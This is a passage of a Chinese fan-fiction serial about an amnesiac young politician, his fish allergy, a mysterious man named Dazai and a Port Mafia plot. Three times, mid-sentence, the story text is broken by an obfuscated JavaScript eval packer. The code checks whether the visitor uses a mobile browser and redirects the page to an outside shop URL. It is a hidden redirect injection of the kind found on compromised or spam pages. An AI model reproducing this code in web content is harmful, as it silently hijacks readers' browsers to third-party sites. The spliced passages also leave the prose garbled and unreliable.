“来咯,盐烤青花鱼,请慢用。” 太田於菟回到自己那桌的时候,服务生正好上了他们点的最后一道菜,是这家最有人气的招牌菜。 “真是难得,於菟你竟然点了鱼吃,你不是一直都不喜欢吃鱼的吗?” 之前点菜的时候,松田阵平就很惊讶,因为印象里太田於菟是从不吃鱼的。不管是哪种鱼,不管怎么烹制,都觉得有股讨厌的腥味,所以坚决不碰,挑食得很。 “唔……” 太田於菟已经吃了一块鱼肉在嘴里,他之前点的时候因为觉得是招牌菜所以就选上了,原来他是不喜欢吃鱼的啊……为什么?这不挺好吃的? 还是说,过去发生了什么事情,让他对鱼有心理阴影所以退避三舍?现在失忆了反而重获吃鱼自由? “偶尔尝试改变一下也不错……的确,人是不会那么轻易就改变的,但也绝对不会是一成不变的,比如口味。” 说完这话后,太田於菟蓦然意识到自己是受了那个叫“太宰”的男人影响吗,【人是不会那么轻易就改变的】什么的…… 眼角的余光不禁下意识地偷瞄向对方那桌,却见那人和同伴们聊天聊得很欢乐,完全不关注自己这边的样子。 这顿饭的后半程吃得很风平浪静,太田於菟也没有再去关注那边那桌,和松田阵平、萩原研二边吃边聊得很愉快。这二人都很风趣幽默,让怀揣着遮掩自己失忆一事的过度谨慎也暂时放下了,精神都放松了不少。 就在他们吃得差不多了,准备离开时…… “那个,请问,是太田议员吗?” 一个试探性的声音轻轻响起。 太田於菟回头一看,原本正和小伙伴们说笑的嘴角险些一抽,差点维系不住自己的表情。 “是的,不过,嘘——” ……搞什么?!还不肯放过他啊!!! 尽管内心在呐喊,但太田於菟表面上还是给出了此刻正常状态下应有的回应,示意对方不要惊动到其他桌的客人。 “好,好的!” 中岛敦连连答应,甚至还下意识地做出了捂嘴的动作。 刚刚吃完饭起身离开时,太宰先生突然凑过来小声跟他说那边那桌坐着的好像是太田议员,然后怂恿他去和太田议员打个招呼。 他原本还有些小心翼翼的,但是,太田议员感觉好随和啊,和电视采访里的一样。 “您,您好,我是您的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234437|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支持者,当初您竞选时我有投票给您!” 见到真人,中岛敦还是有些小激动的。 国木田独步原本还以为是太宰又在逗敦玩,结果发现真的是本尊,也是有些惊讶: “啊,抱歉,太田议员,打扰您用餐了。” “没关系,没关系,我们也是吃完准备走了。” 太田於菟微笑着摆摆手,继续维持着自己亲民的形象。 而这时,太宰治却是凑了上来,弯腰俯身突然靠近坐着的太田於菟,脸都快要贴上来了。 这一有些越矩的行为让松田阵平和萩原研二瞬间警惕,自从太田於菟当选议员后他俩就格外注意其安全问题,要知道在日本当政客也算得上是个高危职业……毕竟以前可是有过首相都被人当街枪毙的先例啊! 太田於菟也有些惊讶,他没想到这人竟然直接凑过来对他贴脸开大,想干什么! “那么,太田议员回家路上可就要小心一点了。” 太宰治笑眯眯地说着,用最愉悦的语调下着最邪恶的预言: “议员先生你的面相,印堂发黑,怕是要有血光之灾哟。” …… 太田於菟费力拉住了想要暴起为他出气的松田阵平,不停地安慰说没事的没事的,当议员就要有会日常收到恶评、谩骂、诅咒的觉悟,哪有政客能收获所有人的爱呢? 而太宰治在说完这句诅咒之言后,直接愉悦地开溜了,国木田独步和中岛敦连连道歉。 离开餐厅的时候,松田阵平和萩原研二都提出要送太田於菟回家,被太田於菟拒绝了,毕竟这二人住的地方和他完全是反方向的,没必要折腾,明天一大早大家都还要上班呢。 太田於菟反复表示别在意,那就是个黑粉,说不定还是个神经病呢,而且日本的治安有什么可不放心的,你们俩可还是日本警察呢! 独自坐在回家的地铁上,太田於菟打算复盘一下那个叫太宰的男人究竟是怎么回事,和他到底有着怎样的孽缘。 那人说,这是他们之间时隔七年的重逢…… 七年前,他十八岁,按照目前他对自己成长线的了解来看,那年他警校毕业,然后却放弃了和阵平、研二他们一起进入警视厅打怪升级,反而选择了回到高中复读一年去考大学。 的确是他人生出现了重大转折变故的一年,那么在这场变故中,那个叫太宰的男人是否扮演了什么重要角色呢? 原本想要进一步再深入思考,却不得不叫停了,因为他感觉自己身体不太舒服,但一时半会儿又说不上来是哪儿不舒服。 这时,他要下车的那站到了。 已经过了晚高峰,地铁上的人也少了许多,坐着通往地面的扶梯时,一抬头,发现隔着几节电梯的前方有个眼熟的背影…… 诶,这不是他的好同事金井湛议员吗? 对哦,弥一说过金井湛也住这站地铁附近的。 “晚上好啊,金井君~” 出了电梯来到地面上,太田於菟便扬起声音和好同事打招呼。 而听到这个让自己头皮发麻的声音,金井湛身子一僵,内心挣扎斗争了一番后,还是选择无奈地转回身,回应对方: “晚上好,太田君。” 毕竟天天在一栋楼里工作,总不好把关系搞到连声招呼都不打。 “阿湛你是加班到现在还是去应酬了?” “今晚加班了一会儿,还有,再说一遍不要叫我阿湛!”金井湛觉得自己和这人是真的不对付,永远在自说自话的家伙,“你呢?应酬到现在吗?” 彼此距离凑近了后,他有闻到太田於菟身上的酒味儿。 “不,我是和朋友们聚……” 话还没说完,太田於菟感到胸腔处一阵剧痛,接着便…… “噗——!” 金井湛被眼前这幕惊呆了,他亲眼看着,太田於菟突然间吐血了,吐出的血直接喷到了他的衣服上和脸上! 太田於菟同样震惊,虽然地铁一路上他身体都不太舒服,但他没想到竟然会严重到……吐血?! 为,为什么?他今晚喝得并不多啊,阵平和研二一直都在控制他的酒量,没可能会喝酒喝得胃出血啊。 【怕是要有血光之灾哟】 应,应验了? 那个叫太宰的男人,难道是什么诅咒师吗? “你,你……” 突发状况把金井湛也吓得不轻,此刻他的脸上似乎还能感觉到对方血的温热,而映入他眼帘的是…… 一个容貌绝对称得上漂亮的年轻男人,脸色惨白,那双平日里不时闪过或狡黠或气人神采的紫色眼眸此刻一片茫然,嘴角还挂着血痕,脆弱地对他说着—— “阿湛,救我……” 金井湛你清醒一点!这人是你的宿敌!而且很有可能就是当初你在港口遇到的那个你誓要送进局子里的少年! “我,我这就叫救护车!” 但是,先不管那么多了,救人要紧!虽然不是什么好同事但是热心市民的精神还是要有的! “阿湛,我会死吗……?” “先闭嘴别说了!你再多说两句话说不定真的就血条清零了!” 8. 失忆第八天 Chapter 8 东京杯户中央医院—— 折腾到凌晨时分,这场兵荒马乱才终于平息下来,太田於菟躺在病房里打着吊瓶,一脸安详。 “有需要的话请随时按铃呼叫我。” 负责扎针的护士准备退出病房时,还是忍不住对病床旁站着的金井湛发出善意提醒: “这位先生,您最好还是稍微……处理一下吧,不然可能会,吓到医院里的其他人的。” ……不知道的还以为医院里发生了什么恐袭事件呢! 金井湛这才意识到自己刚刚一直忙着带太田於菟这个麻烦鬼在急诊区做各种检查和治疗,都忘了把自己清理一下,脸上和衣服上都还留着这家伙吐出来的血。 “谢谢你,阿湛。” “如果你不叫我阿湛的话,我会觉得你的道谢更有诚意。” 无奈地看向病床上的太田於菟,金井湛只能不停在心中劝解自己不要和病号生气,和病号生气是无用功……毕竟就算打他一顿他也能立刻病床躺着原地救治,白费力气。 “你到底是怎么回事啊,活了二十五年竟然都不知道自己对鱼类重度过敏吗?” 在岛国出生长大,总不至于人生的前二十五年连条鱼都没有吃过吧!明明议员会馆的食堂每天都有鱼供应的。 “因为,因为,我其实真的很想吃鱼啊,所以这些年一直有在做治疗,以为自己已经克服对鱼类的恐惧了,所以……”太田於菟心虚地对手指,接着,摆出一幅可怜巴巴的样子,“阿湛你能帮我保密吗,关于我吃鱼过敏的事情……今晚我是和我警视厅的朋友们一起聚餐的,如果被他们知道我因为吃鱼而住院了,我一定会挨骂的。” 眼前仿佛具象化了一只正在“拜托,拜托”的黑毛小狗,金井湛不禁眼角有些抽搐。 他本来就不是多事的人,而且太田於菟过不过敏什么的也和他没什么关系,自然对这种事情没什么所谓。 今晚他只是,当了回热心市民罢了。 不一会儿,值班医生来做检查,确定已经脱离危险了,再住院两天打打吊瓶就好,一起来的护士则送上了接下来两天的病号饭菜单来让病人勾选填写。 看着太田於菟那只正打着吊瓶不太能动弹的惯用手,金井湛认命地叹了口气,拿起护士留下的圆珠笔,开始给病号报菜谱: “你说我写吧,明早医院可供选择的餐食有……” 该勾选的勾选完后,金井湛直接在“备注”一栏写上了请勿提供任何鱼类制品。 “你还有没有什么过敏的东西,我一并写上……喂,你在看什么?” 金井湛发现太田於菟在盯着他的手看,看得很专注。 “你的右手怎么了吗?”太田於菟有注意到金井湛握笔写字的左手并不是很自然,不像是惯用手的样子,“你应该不是左撇子吧?” 笔尖在纸张上扫过的沙沙声停顿了一下,金井湛眉头微拧了一瞬,接着又若无其事地继续在纸张上书写着。 “没什么,就是右手指骨以前断过,接骨后也不太能使得上力,干脆就改左手写字了。” 轻描淡写地将一段应该很痛苦的往事翻篇带过。 “阿湛你好坚强……” “不要用这么恶心的语气说话啊!” 金井湛心累,作为热心市民兼关系不怎么样的同事,他觉得自己今晚已经做得够仁至义尽了,现在只想赶快离开这个地方,回家睡觉去。 “行了,我走了,今晚的事情我不会说出去的。” “等等,阿湛……” “你,又,怎,么,了?” 抬脚刚要走就又被叫住,金井湛无奈地咬着牙回头问道,只想让这磨人的祖宗有话快说一次性说完! “阿湛,你穿我的外套走吧。你的西装上还沾着血,搭公交回去会把同车的人吓到的,搭计程车的话大概没有司机敢大晚上载一个身上溅血的男人吧。” 一脸体贴小天使的模样,再加上此刻病重的那份虚弱感,竟然让金井湛有点……反思自己态度是不是恶劣了些。 “那,谢了。” 把太田於菟的西装外套穿上身,然后发现,袖口和下摆都,有点短,明显尺寸不太合适。 ……感觉像是从哪儿偷来的衣服。 这绝望的上身效果,让太田於菟顿时郁闷地捂着被子呜咽: “呜呜……我一定还会再长高的!” 金井湛:“……” 放弃吧!你都二十五了,骨骺线早就闭合了,没机会了! …… 从病房退出后,金井湛终于长出了一口气,总算能回家休息了。 【你的右手怎么了吗?】 垂眸看向自己的右手,接着,难以发力的右手用最大的力气握成拳,充斥着满满愤恨的拳头。 刚刚,被问到自己的右手时,他差点克制不住自己的情绪。 他永远都忘了不了,八年前在横滨港的那个夜晚—— 那个时候,刚刚大学毕业的他通过了国家海关的考试,被分配到横滨关区总关工作。作为一个初出茅庐的新人,他尚不懂得政治场上的游戏规则,也不了解横滨本地的“规矩”,完全就是个行事非黑即白的愣头青。 上任后不久,他就追查到了横滨一家株式会社涉嫌巨额非法走私,而那家株式会社背后是由横滨地头蛇Port Mafia操控的。他当即便觉得这是个打击横滨黑恶势力的好机会,于是不遗余力地投入对此案的调查,面对Port Mafia送上的贿赂也是断然拒绝,誓要让犯罪分子受到正义的审判。 然后,他就在一天夜晚被Port Mafia绑到了港口,准备灌水泥沉尸大海,Port Mafia带队的正是那对被横滨里世界称作“双黑”的少年。 就在他做好了以死明志的觉悟时…… “等一下。” 又来了一个人,当时已经被打了一顿的他头晕眼花,看不清来者的样貌,但听声音,应该是个和双黑年纪差不多大的少年。 “哇哦,真是难得啊,竟然让少爷你亲自跑一趟。” 双黑中的一人阴阳怪气地说道。 而那个被称作“少爷”的少年,则是缓缓向着狼狈趴倒在地的他走来,一步又一步地靠近,仿佛有片黑暗在一点点将他笼罩、吞噬。 然后,他听到少年用清冷的声音说着…… “就这么简单处理掉他,岂不是太过可惜,难得政治游戏里有了个这么纯白的玩家。政治讲求的是一种守恒,黑色和白色都是需要的。” “黑色到处都是,毕竟白色很容易就会染上黑色,而一旦沾染上黑色,就再也变不回纯白了……我很好奇,金井君能将这份纯白维持多久呢?” “但是,就这么轻易放过你的话,我又实在不甘心,毕竟你想要打击甚至铲除的对象是我最爱的父亲啊……” 下一瞬,彻骨的疼痛直窜天灵盖,他的惨叫声响彻港口。 少年狠狠地踩上了他的右手! “那么,就废掉你这只右手作为警告吧,这只也许未来会批阅一份份审判我父亲的文件的手……” 黑色的皮鞋在他的右手上狠狠碾着,痛到让他连喊的力气都没有。 “今后,当你再拿起笔讨伐Port Mafia的时候,要想起此刻的痛啊。” 直到把他的右手指骨全部碾碎。 “呃……” 金井湛猛然间回神,思绪从八年前的那场噩梦中抽离,两眼失焦地看着自己的右手。 下意识的,侧身回望向走廊后方,太田於菟的病房。 第一次见到太田於菟的时候,他便浑身战栗,久久没能找回知觉。 明明对方是在朝他笑着打招呼,他却觉得梦魇再度袭来,和八年前那个碾碎他手骨的少年带给他的感觉一模一样,那种刻入他骨髓中的窒息感,他永远都不会忘记的。 越是回想,越是感觉连声音都重合在了一起。 眼眸中闪动着复杂的情绪,金井湛深吸一口气平复下心绪,继续向前走去,离开医院。 太田於菟,但愿你不是他。 …… 病房里—— 吊瓶打完后,太田於菟却并没有立刻入睡,而是静静地注视着天花板,思索着关于自己的事情。 原来他对鱼类过敏啊,而且过敏得很严重。 但是,为什么他要在松田阵平和萩原研二的面前掩饰这点呢,过去一直都只是在他们面前装出自己不喜欢吃鱼的样子。 对某种东西过敏,这不是什么难以启齿的事情,为什么要隐瞒呢,甚至是对着自己应该相当信任的好友隐瞒。 除非,隐瞒自己的过敏源,是一件对自己而言非常重要的事情。 紫色眼眸中的神采沉下去了几分,毫无疑问,他的身上藏着许多秘密,许多如今连他自己都不知道的秘密。 但是有一个人也许知道…… 那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234438|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫太宰的男人。 很显然,那个男人是知道他对鱼过敏的,所以才会在餐馆里对他说出“血光之灾”这个预言。 这简直,更糟糕了,这说明那个男人已经察觉到他的异常了,从他那桌端上了那盘青花鱼起,那个男人就知道他有问题了! 但是,那个男人究竟和他是什么关系,连阵平、研二这样的好朋友都不知道的他过敏的秘密,那个男人却一清二楚,是比朋友更亲密的关系吗?那不就可能是…… 不,不,从那个男人对他的态度来看,是敌人的可能性更大吧! ……但是,给敌人擦嘴角的蟹肉末这正常吗? 也,也不是不可以,吧。 …… 夜已深沉,医院的住院部也安静了下来。 “诶?” 护士站的护士去完洗手间回来,隐隐约约觉得刚刚有人来过这里……是错觉吗? 看了一下病房区的各条走廊,也没有什么身影,应该是多心了吧。 而就在几秒钟前,一间病房的门被轻轻推开,轻到几乎没有发出一丝声响。 单人病房,窗户留了个小缝,吹进来的风轻轻摇摆着窗帘,月光映在病床上太田於菟那张安详的脸上,仿佛将五官棱角都柔和了不少。 月色同样拂在床边人的脸上,那双鸢色的眸子如同暗夜中的琥珀石一般,蕴含着诡秘的光泽。 缠着绷带的手缓缓伸向太田於菟的脖颈,那没有一丝防备的脖颈下一秒就算被这只手拧断都无需惊奇…… 当然,最后,缠着绷带的手只是触碰上脖颈的肌肤,停留了一下后,便拿开了。 太宰治面无表情地看着床上熟睡的人。 久别重逢,很难不回想起与对方初次见面时的光景。 是十四岁那年啊,他自杀未遂被森先生救下,之后被带回其经营的那家地下黑医小诊所。 在那间诊所里,他第一次见到太田於菟……不,应该叫森於菟才对。 【太宰君,这是我的儿子於菟,年纪和你一样大,你们要好好相处哦】 他看到那个正端碗泡面吃着的小鬼停下了筷子,瞪圆了那颗仿佛紫色玻璃珠的眼睛看着他,眼神中的意思再明显不过了…… 以为他是来和他抢爹的。 嘁,爹控的臭小鬼。 十一年前的场景,如今回味起来,他不禁感叹……当时他怎么就没把那碗泡面直接扣在那个臭小鬼头上呢? 他可真善良。 “醒了的话,就别在那里扮睡美人了,於菟。” 病床上,太田於菟缓缓睁开眼,一脸淡然地看向床边站着的人,甚至还小小地打了个哈欠: “你要是再不来,我可就真的要睡着了啊,太宰。” 太宰治微微怔了一下,笑得意味不明: “你知道我今晚会来?” 也许是当下身体太虚弱了,太田於菟开口说话时带了些呜呜哝哝的鼻音,听起来甚至有些像是在撒娇: “太宰你要是不来的话,我今晚的鱼不就白吃了?” 太宰治笑得眉眼都弯了,仿佛真的被愉悦到了: “这可真是我的荣幸啊,於菟你为了让我来见你,竟然不惜吃鱼吃到吐血住院,好感动。” 太田於菟面上依旧保持着不变的微笑,内心则是在毫不客气地赞美着自己……我可真机智! 猜到对方今晚大概率会来医院看他,无论是为了来看他的狼狈样,还是来探究他身上发生了什么事情。 那么,他索性就装作自己是故意吃那盘鱼的,就是为了……把对方引来看自己。 虽然编造的这个动机听起来有些恶心心。 而太宰治相信了吗? 当然不,他才不会去相信这人嘴里的每一个字,毕竟森於菟是他见过的最会骗人的人。 今天晚上在洗手间碰上时,他就察觉到了森於菟有些不对劲,所以才会用拂去嘴角蟹肉末的方式来看看他是不是中什么异能了,包括刚刚抚脖子也是。 也就是说,森於菟今晚从始至终都没有被什么异能影响。 那么,这些异常的行径,就只有两种可能…… 要么,是又在和森先生密谋什么糟糕的事情,要么……就是森於菟疯了。 察觉到太宰治对自己眼神的变化,太田於菟心里一阵不安加不爽。 艹,那是什么眼神,仿佛在怜悯地看着一个白痴! 这家伙果然是他的敌人吧! 9. 失忆第九天 Chapter 9 “那么,於菟你不惜用自残的方式也要让我来见你,是为了什么呢?” “你说呢,太宰,你心里很清楚,不是吗?” 面对这个当然没有答案的问题,太田於菟选择反推回去,让对方自己发散思维去想,然后给他递上个答案。 他看出来了,太宰是个绝顶聪明的人,而这类人有一个特点……喜欢自己和自己斗智斗勇。 那么,只要太宰“自作聪明”地给出一个答案,他就可以顺水推舟地…… “我不清楚哦。” 喂!你怎么不按剧本来啊! 面上依旧表情淡淡的太田於菟内心疯狂尖叫中,这,这,这让他怎么继续编下去!再编下去妥妥露馅! 不过某种程度上而言这个叫太宰的男人的确给出了“正确答案”,因为今晚从在那家饭店相遇开始就完全是巧合,他本就没想过要让对方来见自己,或者说失忆的自己根本就不认识对方啊! 归根到底,千错万错……他为什么今晚非要选家海鲜店请客吃饭啊! 就在太田於菟大脑飞转想着如何继续糊弄对方时…… 【Wow~Wow~Yeah~一个人是无法殉情的~但是两个人的话就可以办到~】 一阵诡异的手机铃声在寂静的病房里响起,二半夜的如此奏响……多少有点瘆人。 看了眼来电人后,太宰治直接接听。 【喂,太宰,你现在在哪儿呢?!】 电话那头的男人声音很是洪亮,在寂静的病房里更是清晰,太田於菟也听得一清二楚。 对方的声音明显很急切,怕是出了什么要紧的事情,而太宰治却依旧是那副不着调的样子: “我现在正在医院清爽地自杀哦,国木田君~” 太田於菟:“……” 或许是当下事态紧急,又或者是这些年已经习惯了太宰治每日自杀,国木田独步懒得去抱怨对方话里的槽点,直奔主题。 【太宰,刚刚菅野太太给我打了电话,她的丈夫被杀害了!巡逻的警察刚刚在港口发现了她丈夫的尸体!】 就在今天白天,国木田独步、太宰治、中岛敦三个人出外勤刚刚完成一项委托。委托人是一位已婚女士,她怀疑自己的丈夫出轨了,想要委托侦探调查。 武装侦探社的宗旨是处理不能交给军方和警方的危险工作的,这种出轨调查的活原本是不接的,但是太宰治却偏偏觉得偶尔接一下这种活也蛮有趣的,再加上委托人支付的酬劳相当优厚,便接了下来。 最终查明,一切都是误会,菅野先生并没有出轨。 而这个白天才刚刚被证明了清白的男人,晚上竟然突然身亡了。 太宰治直接电话问死者身上都有什么特征。 【死者被发现时,下颚骨碎裂,胸口被射了三枪,太宰,这种行凶手法不就是……】 国木田独步的话还没说完,便被太宰治打断了: “好了,我知道了,马上回去。” 说完,便挂掉了电话。 听到这人因突发状况得赶紧走人了,太田於菟心里松了口气,然而下一秒,却见这人用嘲讽的目光看向他,配合着同样很是阴阳的语气: “原来如此,这就是你把我引来这里的目的啊。” 太田於菟:“???” 哈……哈?我干了什么?我都不知道我有什么目的?你倒是快告诉我啊! 太宰治那双鸢色的眼眸中明明噙着笑意,却又是那样冰冷: “果然,为了森先生,你可以做任何事情呢。” 太田於菟只觉得自己更懵逼了,但再懵脸上还不能表现出来,还得装出一副淡定自若一切尽在老子掌控的样子。 森先生?那是什么人? 把他和那位“森先生”的关系说得那么不同寻常,但是根据他目前对自己人际关系网的了解,并没有这么一位“森先生”的存在啊。 而就在装淡定真懵逼间,阴影笼罩了下来。 只见床边站着的男人突然俯下身子,影子笼罩着他…… 太,太近了啊……! 带着凉意的鸢色眼眸就这么与他近距离对视,但偏偏他还得强迫自己的目光不能躲闪,不然就露馅了…… 当什么议员啊,他觉得自己干脆当演员去吧! 然后,他感觉到自己的脖颈处一阵微凉。 对方那体温偏低的指尖就这么划过他的脖颈,他感觉仿佛有一条毒蛇在他的脖颈上肆意游走,他近乎用尽了全身上下所有的克制力才让自己没有当场暴起给对方一记回旋踢,而是继续保持着那副看破世俗的淡定样与对方目不转睛地眼神对峙。 接着,那只手将他脖子上戴着的项链挑了出来,手指抚弄着链子上的十字架。 太田於菟这才第一次认真审视自己脖子上的这条十字架挂坠项链,原本他没有太在意,只是觉得这条链子款式还算符合他审美,他戴着也不稀奇。 最多也就是看出这条链子有些旧了,自己应该是戴了很多年了。 “森先生送给你的项链,你果然还一直当宝贝戴着啊……也对,你最爱的一直都是森先生啊,当初在我和森先生之间你也选择了他不是吗,毕竟你的一切都是那个男人给的。” 太宰治这句话说出口后,太田於菟已经不确定自己面上的表情是淡然依旧还是已经面无表情傻掉了。 因为,他的大脑,已经炸成烟花了…… 太宰的语气,“森先生”怎么听都像是位比自己年长的男性。 他的一切都是那位先生给的,而他也最爱那位先生……也对,为什么,他就没有想过,自己能以如此“稚龄”当选国会议员,真的就单纯是靠着能力出众吗? 没有某位幕后大佬的托举,他真的能走到今天这步吗…… 也许,不是没想过,而是他下意识地逃避往那个方向去想。 他竟然,这么不干净的吗? “太宰,我……” “好了,你的目的已经达成,今晚已经把我引诱到这里来了,现在,可以放我回去休息了吗?”太宰治一副不想再多听一句话的样子,笑眯眯地表示,“毕竟和你同处一个房间、共呼吸一片空气五分钟,就已经是我的极限了呢。” 说完,便起身离开了,一点都不多做停留。 屋里只剩下自己一个人后,太田於菟终于将装出的表情卸下…… 他觉得自己此刻的样子一定比哭还难看。 而走出医院的太宰治,心中其实并没有打消对森於菟的疑虑,他可以确定,森於菟身上一定还藏着什么秘密。 但是,啧,关他什么事呢。 …… 翌日,东京某间被重重保护的办公室—— “什么?!你说‘菅野’他昨晚被Port Mafia处决了?!” “是的,长官,是非常标准的Port Mafia处理叛徒的手法,恐怕这也是Port Mafia在告诉我们,他们已经知晓一切了。” “简直嚣张!” 满腔愤怒着的人,姓氏为冈田,不仅是国会议员,同时也是由首相直接提名任命的内阁成员之一——日本国家公安委员会委员长。 今天一大早,冈田便得到了一条糟糕的消息,他亲自挑选的派入Port Mafia的公安卧底被发现了,已于昨夜被杀害。 卧底三年,眼看着就要进入直属于Port Mafia首领的游击队,结果却是功亏一篑啊。 紧急会议召开完后,秘书最后又为长官端上了一杯刚刚沏好的茶水,便也退出去了。 退回到外间自己的秘书室,看到角落里放着的公文包时,秘书先生这才一拍脑袋,想起自己还有这件麻烦事没有解决。 说起来,这件麻烦事也都是自己自作聪明惹出来的。 几天前的那场东京地铁劫持事件他也在现场,在最后撤离的混乱中,他捡到了太田於菟的公文包。 但是,在那一刻,因为过于急功近利想要表现自己,他选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234439|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择偷偷昧下了这个公文包。 太田於菟属于和冈田先生敌对的派系的,而他知道那天对方派系要开重要内部会议,所以就想着对方包里说不定会有派系内部的重要文件,而且在那种极度混乱场合下遗失公文包再正常不过了,太田於菟应该也不会多想…… 结果包里根本没什么有用文件,他还被冈田先生臭骂了一顿。 唉,这个公文包已经搁置好几天了,他该怎么确保不被发现地毁尸灭迹呢? …… 横滨,Port Mafia首领办公室—— “辛苦你了,芥川君。” “不,这本身就是在下的失职才导致的,如果不是少爷他……” “嘛,嘛,这也是难免的啊,一直都没有找到合适的接替游击队队长一职的人选,只能让已经升为干部的芥川君你继续兼任着,已经是超负荷工作了,这种情况下混进只老鼠也是很正常的,解决掉就好。” 森鸥外一副体恤下属好老板的样子。 不过,他的於菟果然很靠谱,竟然把要走的那枚窃听器神不知鬼不觉地安放到了公安委员会的内部,监听到了有只混入Port Mafia的老鼠回老巢去汇报工作。 抓捕并处决卧底这种事情按照常规流程来就好,但没想到在行动的节骨眼上出了点小意外……那位并不了解自己丈夫特殊身份的太太竟然因为怀疑丈夫出轨而请了武装侦探社调查,偏偏来调查的还是太宰君。 依照太宰君的头脑,怕是在调查过程中就已经明白了那位菅野先生的身份,他无法确保太宰君会不会突然心血来潮插一脚,毕竟太宰君从某种角度而言是个很随心所欲的人。 结果,没想到,於菟竟然这么快就了解到了这些情况并且做出了行动,以身为饵把太宰君引了过去。 还以为,不到万不得已,於菟是不会去见太宰君的,毕竟这些年都有意避着。 呜呜,虎崽果然还是爱爸爸的,为了爸爸什么都能做到啊。 …… 而此刻,并不知道自己给Port Mafia立了大功,且正收获着老父亲满满感动的太田於菟,正在病床上啃着苹果。 一旁坐着的巨势弥一正在削着下一个苹果并按照吩咐切成小块。 “弥一啊,我以前谈过恋爱吗?” 冷不丁冒出这么一句话,巨势弥一险些削到自己的手指。 “啊?这个啊,从我认识前辈你起,前辈你就没有和什么人交往过。至于前辈你上大学前有没有谈过恋爱,我就不知道了。”巨势弥一如实交代,随即又补充道,“不过,应该是没有的吧,因为前辈你从来都没有提过任何关于恋爱的事情,一心都扑在事业上!” 连弥一都不知道啊…… 果然是见不得人的难以启齿的关系啊。 太田於菟觉得自己已经不好意思去看巨势弥一那单纯的眼神了。 昨晚太宰离开后,他一个人静下来把掌握到的信息结合太宰对他的态度一整合,瞬间便明白了全部。 如果没推理错的话,那个叫太宰的男人很有可能是他十八岁前的初恋前男友,但是七年前,决定了自己要成为首相的目标后,为了这一目标,他不惜委身于一个被称作“森先生”的幕后大佬,甩掉了太宰,并且自那以后再没有见过面。 而那位“森先生”也的确帮着他一步步走到今天,并且至今都还和他保持着关系。 昨晚一整晚他都为此辗转难眠,一想到他对初恋太宰君的伤害,就忍不住想要给自己一个巴掌并直呼“我真该死啊”。 但是,这就是他选择的道路。 “唔……” 一块刚刚被切好的苹果递到了自己嘴边,举着苹果的巨势弥一开玩笑道: “前辈你难道是想谈恋爱了吗,不过你在这方面可是白纸一张,小心被骗啊。” 太田於菟默默吞下了这块苹果,内心则是在深沉地叹息。 不,弥一,你不懂…… 你根本就不知道我玩得有多花。 10. 失忆第十天 Chapter 10 议员的一天是怎样度过的? 太田於菟:当然是要精致优雅地完成一天的行程。 早晨清爽地起床,在镜子前整理自己的仪容仪表。很好,今天头发掉得不多,虽然头顶那根顽固的呆毛很碍眼,但每根头发都很珍贵的他还是决定放过呆毛君。 边收看早间新闻边享用清晨的美味。 “最近米花町一带的治安不太好啊……” 看着新闻里的播报,又吸溜了一口捧着的泡面杯。 没办法,家里就剩这个了,将就着对付一下吧,有时间再去采购。 完美地掐准时间搭上地铁,带着完美的笑容和遇到的每一个同事打招呼,以完美的精神面貌走进议会大厅,然后…… 在众议员大会上无聊地神游天际。 是真的很无聊啊,看那几个不同派系的老橘子相互喷口水以文雅的方式开骂来代替互相扯头花,场面轰轰烈烈实际毫无成效,实属顶级白忙活。 还没有欣赏即使面对这种场合也一脸严肃认真的金井君有趣呢。 感觉到盯着自己的目光,金井湛下意识地回望过去,隔着几个人,与太田於菟对视上了,而太田於菟一点也没有被抓包的尴尬,目光更加毫不掩饰,大大方方地隔空对望不说,还用夸张的口型无声地对他说着些什么。 然而不会读唇语的金井湛完全不明白这人想表达什么,眉头不禁皱了起来,一脸费解。 见沟通有障碍,太田於菟当机立断地选择写小纸条然后团成球丢了过去,用这种最原始朴素的方式传递情报。 金井湛险些没接住丢过来的小纸团,心中忍不住吐槽你是小学生吗!玩上课传纸条这套。 仿佛害怕被老师逮到的好学生,金井湛小心翼翼地把纸条展开,只见上面写着—— 【阿湛,中午我们一起去食堂吃饭吧】 金井湛:“……” 你果然是小学生吧!!! 就在金井湛心里骂骂咧咧的时候,第二个纸团猝不及防地就又丢过来了。 忿忿地打开第二个纸团—— 【你们老大在看你哦】 金井湛猛然回头,只见坐在阶梯会议室第一排的派系领导冈田议员正扭过头来看向明显在走神溜号搞小动作的他。 好学生真的被老师抓包了。 金井湛:“……” 这都是谁害的啊! 太田於菟果然是来克他的吧! …… 午饭过后,开始下午的日程。 今天下午的预定行程是到小学做探访,充分了解老师和孩子们在学校教育方面的需求,并与孩子们亲切互动。 